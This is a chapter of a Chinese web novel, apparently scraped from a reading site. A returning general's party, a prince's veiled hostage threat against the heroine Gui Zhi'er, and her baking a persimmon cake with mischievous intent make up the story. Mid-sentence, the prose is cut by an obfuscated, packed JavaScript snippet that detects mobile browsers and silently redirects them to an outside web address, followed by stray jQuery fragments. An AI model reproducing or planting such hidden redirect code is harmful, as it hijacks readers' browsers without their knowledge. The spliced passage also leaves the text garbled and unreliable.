将军夫人。


    谢鸢抬眸，在心底咀嚼着这四个字的份量。


    他依稀记得，桂枝儿曾拿出过一个打磨精巧的饭盒，颜色灰白，但不似银制。


    她当时解释说——


    “是小女的夫君入伍前留下的。”


    莫非栾小将军与桂姑娘……难怪小将军一路对他百般针对，许是护妻心切，打翻了醋坛子。


    可是，他二人举止并不亲密，怎么看也不像夫妻啊！


    谢鸢眼眸潋滟的波光里，满是迷茫与不解。


    栾霜柏与桂枝儿两位当事人，并未纠正四行什长的称呼。


    一人心中窃喜，一人则是习以为常。


    徒留小谢公子百思不得其解。


    “咱们回经略府详谈。”栾霜柏一只手稳稳地托住碗底，剩余滑嫩的豆腐脑被尽数倒入口中。


    他腮帮子轻轻鼓动，囫囵咽下。


    临走前，还不忘拾一根金黄酥脆的油炸大果子带着。


    饿成这样，小将军此行途中，所历之苦不言而喻。


    四行什长看得心酸不已。


    凌河县城早已旧貌换新颜。


    城门两侧，有高耸箭楼拔地而起，守城士兵居高临下，不仅可以从密密麻麻的箭孔里射击敌军，还能投放礌石和滚木。


    城内泥泞的道路也消失不见，取而代之的是宽敞的水泥道。


    “桑梓之景，变迁颇大，吾几不识家门矣。”举子们状似抱怨，实则嘴角上扬。


    造反好啊，早就该造朝廷的反了！


    在衙门见过骆县令，取得通关文引，几十号“逃犯”就此别过。


    据说樾王殿下亦要兴科举，他们摩拳擦掌。


    “望诸生悉心备之。务必熟谙经史子集要义，勤练时政策论。”顶戴乌纱帽的骆县令手抚长须美髯，气度不凡。


    他劝慰学子，各自回乡后日夜勤修，勿负光阴。


    这话直接说到了众举子的心坎里。


    北境，当真是政通人和！


    桂枝儿则玩味地笑了。


    骆县令头顶的帽翅轻颤，更衬得他面庞儒雅。


    中年男子身姿挺拔，仪形伟丽，举手投足间完全是名门雅士的模样。


    若非管家曾与她讲过骆嵩延的过往，谁能想到这是个草包官员呢？


    此刻，骆县令言谈间亲切又不失威严。


    在他身后，静静站着两名不起眼的驼衣侍从。他们身形佝偻，微脖颈微前倾，面容隐没在阴影之中。


    “樾王好手段。”桂枝儿低声叹道。


    扣押一个骆嵩延，其背后做茶叶和私盐生意的江南富户骆家，必然会转投镇北府。


    毕竟民不与官斗。


    就算骆家不承认自己参与造反，朝廷会信吗？


    谢鸢与栾霜柏并未应答。


    二人莫名觉着有些尴尬似的，瞟向地面，耳根微红，仿若能在那砖石缝隙寻得脱身良策。


    这般阴私手段，实不该暴露在桂小娘子眼前。


    不料，让他们更难堪的是驼衣侍从接下来说的话。


    “殿下嘱咐，若几位大人返乡，则诚邀您等前往中心府衙叙旧。”侍从头颅低垂，语气谦逊又恭顺。


    “小女便不凑热闹了吧？”桂枝儿挑了挑眉。


    少将军与乐府令皆有官职在身，而她一介布衣，无需掺和。


    驼衣侍从脸上堆起一个僵硬的笑容。


    “千金花魁亦在中心府衙，很是想念桂小娘子。”他的声音从喉咙里挤出来，又尖又细。


    驼衣侍从说完，用干瘦如柴的手，轻轻拂了拂衣袖。


    桂枝儿面色倏地冷淡下来，眼眸中透出一丝愠怒。


    她直直地盯着那侍从，身上柔和温婉的气息消散，取而代之的是拒人于千里之外的冷意。


    这是，明晃晃地挟持人质。


    真把她当软柿子捏了？


    “好。”震怒之后，桂枝儿冷笑一声干脆应下。


    许久没打架了，她手有点痒。


    答应得爽快，但桂枝儿并不心急，回中心府城头一件事，是带着两个小学徒整饬桂记卤味店的居舍。


    秋风起，小店屋顶的瓦片上，长满了厚厚的苔藓。


    除此之外，倒算干净整洁，房梁并未布满蜘蛛网，后院亦无杂草丛生，不知平日里是谁在照看。


    “小孩儿先去井里打一桶水，再拿笤帚扫扫灰，丫头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15145686|144601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用拭布把桌椅板凳收拾收拾。”桂枝儿分配好任务，撸起袖子就进了后厨。


    临走前，她几乎用空间把后厨搬空。


    现在还得一一归位，拿起皂角，装作刚刷洗干净锅碗瓢盆的样子。


    “好嘞，小娘子放心。”两名学徒毫无心眼地开始忙活。


    有了新的家，就意味着漂泊的旅途结束。


    他们打心底里有了归属感。


    豆芽菜少年搬出一桶清水，水桶边缘挂着一块略显破旧的拭布。


    女孩儿默契地接过布，用力拧干，随后便开始认真擦拭，不放过任何一处污渍与灰尘。


    木桌椅在二人的努力下，渐渐露出原本温润的色泽，陈旧的漆面也重新焕发光彩。


    不同于江南小店雅致的紫藤花瀑布，镇北店铺的风格更加粗犷豪迈。


    灶台燃烧，热气腾腾的火墙就架起来了。


    向后看，小院的柿子树上，一个个圆润饱满的柿子，似黄澄澄的小灯笼挂在那里，沉甸甸地压弯了枝头。


    微风拂过，柿子们你挤我碰，发出喜庆的“沙沙”声。


    “高点儿，再高点儿。”马尾辫女孩竖起一个顶端绑网兜的长杆。


    少年站在树下，用长钩子钩住柿子的果柄，继而轻轻转动拉扯，让柿子掉落到网兜里。


    摘下来的柿子表皮泛着诱人的橙红光泽，圆润饱满。


    秋天真好啊。


    桂枝儿轻轻掰开柿子，金黄色的果肉如蜜般流淌。


    “咚咚咚。”木杵落入石臼，随着她凶狠的撞击，柿子被捣碎成泥状。


    桂枝儿唇角缓缓勾起，那抹笑容不似寻常。


    她将面粉与柿子泥搅拌均匀，再添一些牛奶，调成面糊。


    少女伸出白皙的手，从竹篮里拿起一枚鸡蛋。


    手腕轻转，鸡蛋在碗沿轻轻一磕，“咔哒”，蛋清与蛋黄滑入碗中。紧接着，她拿起一根细长的竹筷，动作娴熟地搅拌面糊。


    随着手臂上下舞动，竹筷在碗中飞转。


    她漆黑的眼眸微眯，神情中透着促狭与不怀好意。


    柿子蛋糕，“柿柿”如意的好兆头。


    但愿樾王殿下有福消受。